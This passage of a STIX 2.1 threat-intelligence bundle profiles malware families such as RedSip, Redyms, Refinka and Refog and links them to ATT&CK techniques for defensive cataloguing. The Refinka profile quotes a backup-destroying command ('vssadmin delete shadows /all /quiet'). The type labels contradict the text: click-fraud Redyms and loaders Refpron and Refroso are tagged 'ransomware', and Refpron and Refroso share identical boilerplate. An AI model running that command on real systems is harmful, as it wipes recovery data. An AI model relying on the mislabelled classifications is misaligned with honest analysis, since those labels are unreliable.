      "description": "Redosdru exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--384c1e57-936a-5536-a73a-6a65f1c616f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78055e65-4c88-5b2c-af53-4d4cd0a1fca2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redosdru exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cadc730-25f6-59fe-9696-ba48a8f131e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78055e65-4c88-5b2c-af53-4d4cd0a1fca2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redosdru exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a976f91-6bfa-54b5-a501-a835a1a1b3d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78055e65-4c88-5b2c-af53-4d4cd0a1fca2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redosdru exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6dccbe4e-8059-5147-bb80-2a0c6554d659",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78055e65-4c88-5b2c-af53-4d4cd0a1fca2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redosdru exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6594f99a-f074-5ff5-90c8-2b9558db040e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redsip",
      "description": "<h3>Executive Summary</h3>\nRedSip is a highly specialized Trojan and backdoor designed specifically to target, intercept, and exploit Voice over IP (VoIP) communications, specifically focusing on the SIP (Session Initiation Protocol). Rather than stealing standard files, RedSip operates as an espionage tool, aiming to monitor telephone communications, steal SIP credentials, and potentially facilitate toll fraud by routing unauthorized calls through the compromised corporate PBX infrastructure.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRedSip typically infects softphone clients (software-based VoIP phones) running on Windows endpoints. The initial vector is often a targeted phishing attack or the deployment of a secondary payload by an initial access broker.\n\nOnce active, RedSip focuses exclusively on VoIP espionage:\n<ul>\n<li><strong>SIP Credential Harvesting:</strong> The malware searches the infected endpoint for configuration files and registry entries associated with popular softphone applications (like X-Lite, MicroSIP, or Zoiper). It extracts the SIP server addresses, usernames, and plain-text (or weakly hashed) passwords used to authenticate to the corporate PBX.</li>\n<li><strong>Network Sniffing (SIP Interception):</strong> Advanced variants of RedSip utilize network packet capture techniques (e.g., installing WinPcap or similar drivers) to sniff the local network interface for unencrypted SIP traffic (UDP port 5060). This allows the attacker to passively monitor call metadata (who is calling whom) and intercept authentication hashes.</li>\n<li><strong>Toll Fraud Facilitation:</strong> By exfiltrating the SIP credentials to the C2 server, the threat actors can provision their own unauthorized softphones. They utilize the victim's PBX to make massive volumes of expensive, international premium-rate calls, leaving the victim organization with a devastating telecommunications bill.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA RedSip infection is a critical security and financial incident. It represents a severe breach of corporate communications privacy and poses a direct, immediate financial threat through the facilitation of toll fraud (PBX hacking).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Credential Revocation:</strong> The highest priority is to immediately revoke and reset the SIP passwords for all extensions associated with the compromised endpoint at the PBX/VoIP server level to halt any ongoing toll fraud.</li>\n<li><strong>Endpoint Isolation and Telemetry Analysis:</strong> Isolate the endpoint. Utilize EDR to analyze the execution path and identify if any packet-sniffing drivers (like WinPcap) were covertly installed.</li>\n<li><strong>VoIP Network Hardening:</strong> IT administration must ensure that all internal VoIP communications are encrypted (using SIPS and SRTP) to prevent local network sniffing, and implement strict Geo-IP blocking and rate-limiting on the PBX to prevent international toll fraud.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.RedSip",
        "Spyware.SIP",
        "Backdoor.RedSip",
        "TollFraud.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redsip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redsip"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5b4fa95-3417-597d-befb-90b1f1fb357e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6594f99a-f074-5ff5-90c8-2b9558db040e",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redsip exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--becc3dd3-ec83-5997-9dd9-e96aa81dc3ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6594f99a-f074-5ff5-90c8-2b9558db040e",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redsip exhibits technique T1040 (Network Sniffing (Stealing credentials in transit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5b4be9a-fe01-521a-b64f-2174462e3a92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6594f99a-f074-5ff5-90c8-2b9558db040e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redsip exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--239e03bc-ae42-55c2-83b9-7dc2d92bcec7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redyms",
      "description": "Trojan:Win32/Redyms (also known as the **Redyms Botnet**) is a significant malware family whose primary objective is large-scale, automated click fraud and search engine hijacking. It infects endpoints to form a massive botnet that silently simulates user clicks on pay-per-click (PPC) advertisements and artificially inflates search engine rankings, generating massive fraudulent revenue for the attackers at the expense of advertising networks.<br><br><b>Understanding Redyms (Click Fraud)</b><br>To the infected user, the malware is mostly invisible, aside from potential system sluggishness or unexplainable network bandwidth usage. For a security analyst, Redyms represents a sophisticated abuse of network resources. While it doesn't typically steal local files or deploy ransomware, it uses the corporate network's IP reputation to commit ad fraud, which can lead to the organization's IP space being blacklisted by major tech providers.<br><br><b>Execution and Fraud Mechanics</b><br>Redyms is typically distributed via exploit kits (`T1189`) or bundled with pirated software. Upon execution, it establishes persistence via Registry Run keys (`T1547.001`) and heavily obfuscates itself to evade detection (`T1027`). The core component is a hidden, headless browser engine. The malware connects to its Command and Control (C2) server to receive specific instructions (`T1105`). It is ordered to navigate to specific target URLs, search for specific keywords on major search engines (like Google or Yahoo), and silently click on specific ad links (`T1185`). To evade anti-fraud mechanisms, it spoofs user agents, clears cookies, and mimics human browsing behavior (like pausing before clicking).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is network bandwidth consumption, performance degradation, and the potential blacklisting of the corporate IP address by major advertising or search networks. The primary IoCs are network-based: analysts will observe massive amounts of hidden HTTP/HTTPS traffic originating from the endpoint, primarily directed at ad networks, search engines, and known Redyms C2 servers. Host-based IoCs include EDR alerts for hidden, headless browser processes (like `iexplore.exe` running without a visible window). (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redyms",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redyms"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--156fc228-e980-588c-aca9-9767f9fe3f08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--239e03bc-ae42-55c2-83b9-7dc2d92bcec7",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redyms exhibits technique T1185 (Browser Session Hijacking (Hidden Ad Clicking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38f17e64-9c13-50a6-a716-e44f280e6916",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--239e03bc-ae42-55c2-83b9-7dc2d92bcec7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redyms exhibits technique T1105 (Ingress Tool Transfer (C2 Communication for click instructions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--669b60ad-2189-5b99-94a6-d33378bf571e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--239e03bc-ae42-55c2-83b9-7dc2d92bcec7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redyms exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1de51241-8108-524a-97f2-e36d8c9305ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--239e03bc-ae42-55c2-83b9-7dc2d92bcec7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redyms exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff817960-88e5-5bf1-9446-23de302c1526",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Refinka",
      "description": "Refinka (identified across endpoint security databases under signatures including Ransom:Win32/Refinka, Trojan-Ransom.Win32.Refinka, and Trojan.Refinka) is a destructive crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through malicious spam campaigns with macro-enabled attachments and drive-by download compromise chains, Refinka executes rapid evasion and reconnaissance routines upon system infiltration. Refinka terminates database, backup, and endpoint security processes to release open file handles before traversing local storage drives, removable media, and mounted network file shares. Using AES-256 symmetric encryption combined with RSA public-key protection, Refinka encrypts documents, spreadsheets, databases, and archives, appending an extortion extension to affected files. It deletes Volume Shadow Copies (vssadmin delete shadows /all /quiet), alters desktop background settings to display extortion notices, and demands cryptocurrency ransoms in exchange for a proprietary decryptor. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Refinka",
        "Trojan-Ransom.Win32.Refinka",
        "Trojan.Refinka",
        "Win32/Refinka",
        "Ransom:Win32/Refinka.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Refinka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/refinka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--942ca16d-5d3e-509b-bf6d-206d80e1db3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Refog",
      "description": "Spyware:Win32/Refog (also detected as Monitor:Win32/Refog or Riskware/Refog) is a commercially available 'employee monitoring' and 'parental control' software application. However, from a technical perspective, it possesses all the capabilities of a highly sophisticated, malicious keylogger and infostealer. Because it is frequently installed secretly by insiders, domestic abusers, or unauthorized individuals to covertly monitor a victim's activities, security vendors universally classify it as Spyware or Riskware.<br><br><b>Understanding the Refog Threat</b><br>To the person being monitored, Refog operates entirely invisibly. There are no tray icons or taskbar entries. For an enterprise security team, the presence of Refog is a critical incident, usually indicating a severe Insider Threat (`T1078`) or a profound violation of corporate privacy policies. It means every password typed, every email sent, and every application opened on that machine is being recorded and exfiltrated.<br><br><b>Execution and Surveillance Mechanics</b><br>Refog is typically installed locally by an individual with physical access or administrative credentials to the target machine (`T1199`). Once installed, it hooks deeply into the Windows operating system (`T1056.001`), often utilizing specialized kernel-mode drivers to intercept all keystrokes globally. It takes periodic screenshots (`T1113`), logs clipboard contents (`T1115`), tracks all visited URLs, and records chat application transcripts (`T1114`). The software then compiles this massive surveillance cache and stealthily exfiltrates it to the installer, either via scheduled emails, hidden FTP uploads, or by syncing to a cloud portal provided by the Refog vendor (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total compromise of endpoint privacy and the theft of all entered credentials and sensitive data. Host-based IoCs include the presence of known Refog installation directories (often obfuscated or hidden in `ProgramData` or `System32`), the loading of specific surveillance DLLs (`mpk.dll` is historically associated with Refog/MPK), and hidden scheduled tasks. Network IoCs include periodic, automated SMTP or HTTPS traffic sending large data blobs to external, non-corporate addresses or known Refog cloud portals. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Refog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/refog"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bfb476d-40af-557b-9da7-b6c29de6ceb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--942ca16d-5d3e-509b-bf6d-206d80e1db3b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refog exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69fbc506-e908-5523-b8c5-81ffd96f90d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--942ca16d-5d3e-509b-bf6d-206d80e1db3b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refog exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04ceea17-3664-52ce-836e-0fc340e0b301",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--942ca16d-5d3e-509b-bf6d-206d80e1db3b",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refog exhibits technique T1041 (Exfiltration Over C2 Channel (Cloud sync or Email))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a48715b-a29c-51da-8b52-64149ced345b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--942ca16d-5d3e-509b-bf6d-206d80e1db3b",
      "target_ref": "attack-pattern--71d2422c-5ccd-596f-bf01-715c25b32545",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refog exhibits technique T1199 (Trusted Relationship (Insider installation))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4514490-3c57-53ef-9800-95f459f0cfad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Refogkeylogging",
      "description": "Spyware:Win32/Refogkeylogging (or Refog) is a commercial keylogger and surveillance application. Like Lightlogger, it is marketed to parents and businesses for 'monitoring' purposes, but it is frequently classified as malware (Spyware/PUP) because it operates stealthily, can be installed without the user's consent, and is actively abused by malicious actors (such as abusive partners or cybercriminals) to steal credentials and surveil activity (`T1056.001`).<br><br><b>Understanding Refog (Commercial Spyware)</b><br>To an end-user, Refog operates completely invisibly. There are no icons, no taskbar entries, and it actively hides itself from the standard Windows Task Manager. For a security operations center, the presence of Refog is a serious privacy and security violation. It captures every keystroke, logs websites visited, intercepts chat messages, and takes periodic screenshots, transmitting this sensitive information to the person who installed it (`T1113`).<br><br><b>Execution and Surveillance Mechanics</b><br>Refog requires local physical access or administrative privileges to install (`T1078`). Once installed, it utilizes API hooking to intercept all keyboard input before it reaches the intended application (`T1056.001`). It establishes persistence via deep registry modifications or as a hidden Windows Service. The captured data is encrypted and stored locally in hidden log files, and then periodically exfiltrated via email (SMTP), FTP, or a proprietary cloud dashboard controlled by the attacker. Advanced versions can even bypass clipboard clearing tools to steal copied text (`T1115`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of user privacy and the theft of all credentials entered on the machine. Host-based IoCs include EDR alerts for extensive keyboard hooking, the presence of the Refog executables (often disguised with generic names in `C:\\ProgramData` or `%AppData%`), and hidden, rapidly growing log files containing encrypted surveillance data. Network IoCs include periodic, automated outbound connections via SMTP or HTTP to exfiltrate the logs to the Refog servers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Refogkeylogging",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/refogkeylogging"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b945c76-cf06-543c-b405-d35ccdd30723",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4514490-3c57-53ef-9800-95f459f0cfad",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refogkeylogging exhibits technique T1056.001 (Input Capture: Keylogging (The primary function of the spyware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41857cdd-4d89-51ba-84cd-22da6732216d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4514490-3c57-53ef-9800-95f459f0cfad",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refogkeylogging exhibits technique T1113 (Screen Capture (Taking periodic screenshots of the user's desktop))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2043038-d9d1-5fc6-b6bd-fc79fe0e222f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4514490-3c57-53ef-9800-95f459f0cfad",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refogkeylogging exhibits technique T1115 (Clipboard Data (Stealing copied text, often including passwords))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e2a5bf5-bf59-563e-bcfd-9da3b9d057bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Refpron",
      "description": "Trojan:Win32/Refpron is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Refpron</b><br>To an end-user, a Refpron infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Refpron is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Refpron is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Refpron frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Refpron reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Refpron",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/refpron"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2ffa441-9f5a-5068-9cde-a71bfd11ff6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e2a5bf5-bf59-563e-bcfd-9da3b9d057bb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refpron exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb4352ff-0a16-59cd-b9bd-317a2c9f5aa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e2a5bf5-bf59-563e-bcfd-9da3b9d057bb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refpron exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da698414-dd94-56d9-a812-529aa5786ec4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e2a5bf5-bf59-563e-bcfd-9da3b9d057bb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refpron exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c438edda-3138-58b8-8cbd-c318a3b9e5bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e2a5bf5-bf59-563e-bcfd-9da3b9d057bb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refpron exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e098da7c-4f6f-5592-8876-aa6ab9fff34c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e2a5bf5-bf59-563e-bcfd-9da3b9d057bb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refpron exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d1ecdc49-d791-5836-b0a2-6a043e57e87b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Refroso",
      "description": "Trojan:Win32/Refroso is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Refroso</b><br>To an end-user, a Refroso infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Refroso is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Refroso is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Refroso frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Refroso reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Refroso",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/refroso"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e222eed0-6cf8-573b-9407-a825e0bf5d09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1ecdc49-d791-5836-b0a2-6a043e57e87b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Refroso exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0869b39f-3b59-52e3-a112-fbf6114e4183",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1ecdc49-d791-5836-b0a2-6a043e57e87b",
